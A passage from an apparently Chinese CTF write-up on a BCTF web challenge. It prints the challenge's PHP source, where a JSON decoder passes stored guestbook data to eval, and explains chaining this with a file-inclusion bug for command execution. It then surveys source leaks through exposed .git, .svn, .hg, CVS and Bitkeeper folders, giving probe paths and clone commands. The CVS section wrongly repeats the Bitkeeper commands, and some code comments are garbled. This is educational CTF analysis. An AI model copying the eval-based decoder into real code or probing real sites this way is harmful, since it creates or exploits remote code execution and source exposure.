            Cufon.replace('.back');
        </script>
    </head>
    <body>
        <div class="wrapper">
            <h1>SanGeBaiMao HouTai</h1><h2 style="text-align:right;"></h2>
            <div class="content" style="text-align:center;padding-left:200px;width:500px">
            <div id="form_wrapper" class="form_wrapper"></div>
            <br/>
            <form class="MessageBox" action="index.php" method="post">
                    <div>
                            <h3>Guestbook Search<h3>
                            <input id="fd-name" class="text" type="text" name="search"/>
                            <input id="fd-button" class="input-submit" type="submit" name="submit" value="Search" /></p> 
                    </div>  
            </form>
            <div style="text-align:center;width" >
<?php
while($row = @mysql_fetch_array($result))
{   
    $content = jsondecode($row['content']);
    echo "<div style=\"text-align:left\"><h4>"."第".$row['id']."条留言:</h4></div><br/>";
    echo "<div>".$content['name']."|".$content['message']."|".$content['filename']."</div><br/>";
    echo "<div><hr></div><br/>";

}
?>

                </div>
            </div>
        </div>
    </body>
</html>

这简陋的后台就是管理员查询留言的地方,从这里似乎看不出什么,经过处理的参数注入的可能性也比较小,这里的sql查询用的是like,匹配查询,可能是没有直接的注入漏洞,数据库中的数据取出来之后才造成了危害。 继续审,init.php取回来

<?php

include 'config.php';
include 'include.php';

?>

继续读取include.php

<?php
function filter($input)
{
    $input = str_replace('<','',$input);
    $input = str_replace('>','',$input);
    $input = str_replace('0x','',$input);
    return $input;
}
function errorBox($message)
{
    echo $message;
}
function jsonencode($arr){
    $parts = array();
    $is_type = false;         //false 鍏宠仈鏁扮粍         true 绱㈠紩鏁扮粍
    $keys = array_keys($arr);
    $length = count($arr)-1;
    if($keys[0] === 0 && $keys[$length] == $length){//鍒ゆ柇鏄储寮曟暟缁勮繕鏄叧鑱旀暟缁�
        $is_type = true;
        for($i=0; $i<count($keys); $i++){
            if($i != $keys[$i]){
                $is_type = false;
                break;
            }
        }
    }
    foreach($arr as $key=>$val){
        if(is_array($val)){
            if($is_type){
                $parts[] = jsonencode($val);
            }else{
                $parts[] = '"' . $key . '":' . jsonencode($val);
            }
        }else{
            $str = '';
            if(!$is_type){
                $str = '"' . $key . '":';
            }
            if($val === false){
                $str .= 'false';
            }else if($val === true){
                $str .= 'true';
            }else{
                $str .= '"' . str_replace(array('\\' ,'/', '"') , array('\\\\' ,'\\/', '\"'),$val) . '"';
            }
            $parts[] = $str;
        }
    }
    $json = implode(',', $parts);
    $json = str_replace(array("\r", "\n", "\t"), '', $json);
    if($is_type)return '[' . $json . ']';
    return '{' . $json . '}';
}
function jsondecode($json){
    if($json){
        $convert = false;
        $str = '$arr=';
        for ($i=0; $i<strlen($json); $i++){
            if (!$convert){
                if (($json[$i] == '{') || ($json[$i] == '[')){
                    $str .= ' array(';
                }else if (($json[$i] == '}') || ($json[$i] == ']')){
                    $str .= ')';
                }else if ($json[$i] == ':'){
                    $str .= '=>';
                }else{
                    $str .= $json[$i];
                }                                    
            }else{
                $str .= $json[$i];
            }         
            if ($json[$i] == '"' && $json[($i-1)]!="\\"){
                $convert = !$convert;
            }
        }
        $str = str_replace(array('\\\\' ,'\\/'), array('\\' ,'/'), $str);
        @eval($str . ';');
    }else{
        $arr = array();
    }
    return $arr;
}

function daddslashes($string, $force = 0) {
    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = trim(addslashes($string));
        }
    }
    return $string;
}
/*** 
鑾峰彇GET,POST,COOKIE锛屽瓨鏀惧湪$_M['form']锛岀郴缁熻〃鍗曟彁浜ゅ彉閲忔暟缁�
*/
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
    $_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}

其他基本和前台处理函数一致,不过这里jsondecode函数中return之前留了个莫名其妙的执行函数@eval($str . ‘;’); 的确和之前的猜想一样,我们要构造一个畸形的留言,在被jsdecode之后能够完整的代入eval中,从而造成了任意命令执行。

再联想到index.php的任意文件包含,很清楚了,通过index.php的任意php文件包含向后台的index.php通过get方式取出数据库中的数据,jsondecode后可以造成任意命令执行

常见web源码泄漏解析

web题目中源码泄露还是比较常见的,在什么时候需要去考虑源码泄漏呢,一是题目中所有猜测的可能存在漏洞的点都确认应该没有漏洞的时候,比如说在有一次比赛中题目中给了个登录框...后来确认是静态的页面,那这个时候就必须考虑源码泄露了。二是已经确认了解题思路,但是对漏洞的测试非常难以进行的,比如说这次bctf,xss在我们这里没有回显,而管理的页面也看不到,每次都要等到robot看过了我们提交的页面之后才能确认xss是否成功,这是非常麻烦的,而主办方也不希望因为自己的机器人出问题而影响大家漏洞的测试,这次比赛中robot屡次出现问题...有源码泄漏的可能性还是很高的。为什么要强调这一点,这一点其实只有在比赛中才会比较有用,因为一道题没有人做出来的话,才有放hint的可能性,如果你的思路比较跳,你就容易在这样的比赛中获得优势。本次bctf因为第二道homework太久没人做出来才放的hint,如果说很早就有人发现了源码泄露,那么这道题估计注定只有一个人能做出来了。本篇将对网络上常见的源码泄露做些分析,浅薄之见还望多多包涵。
  • Bitkeeper(上古神器)
  • CVS
  • Subversion(SVN)
  • Git
  • Mercurial

 

Bitkeeper

这真的是上古神器了,我后面要介绍的其他几款工具推出的时候都是要号称取代bitkeeper…
该款软件如何安装的说明,上面附带有把试用版本发送到自己的邮箱…:http://www.bitkeeper.com/installation.instructions
测试的目录

http://url/.bk 403 Forbidden

取回源码的命令

bk clone http://url/name dir

这个命令的意思就是把远端一个名为name的repo clone到本地名为dir的目录下。

查看所有的改变的命令,转到download的目录

bk changes

CVS

测试的目录

http://url/CVS/Root 返回根信息

http://url/CVS/Entries 返回所有文件的结构

取回源码的命令

bk clone http://url/name dir

这个命令的意思就是把远端一个名为name的repo clone到本地名为dir的目录下。

查看所有的改变的命令,转到download的目录

bk changes

SVN

测试链接

http://url/.svn

这个已经有利用工具了 http://pan.baidu.com/s/1mrNpB

Git

这个太常见了,测试目录就是/.git,也已经有现成的利用工具了,这里不多说了。 http://www.freebuf.com/tools/66096.html

Mercurial

也是这次bctf使用的,测试目录

http://url/.hg 403 Forbidden

clone下来的命令:

hg clone url

查看更改的

hg log

实际上版本控制工具还有很多,这里介绍了几个比较常用的,其他的需要参考wiki:https://zh.wikipedia.org/zh/%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6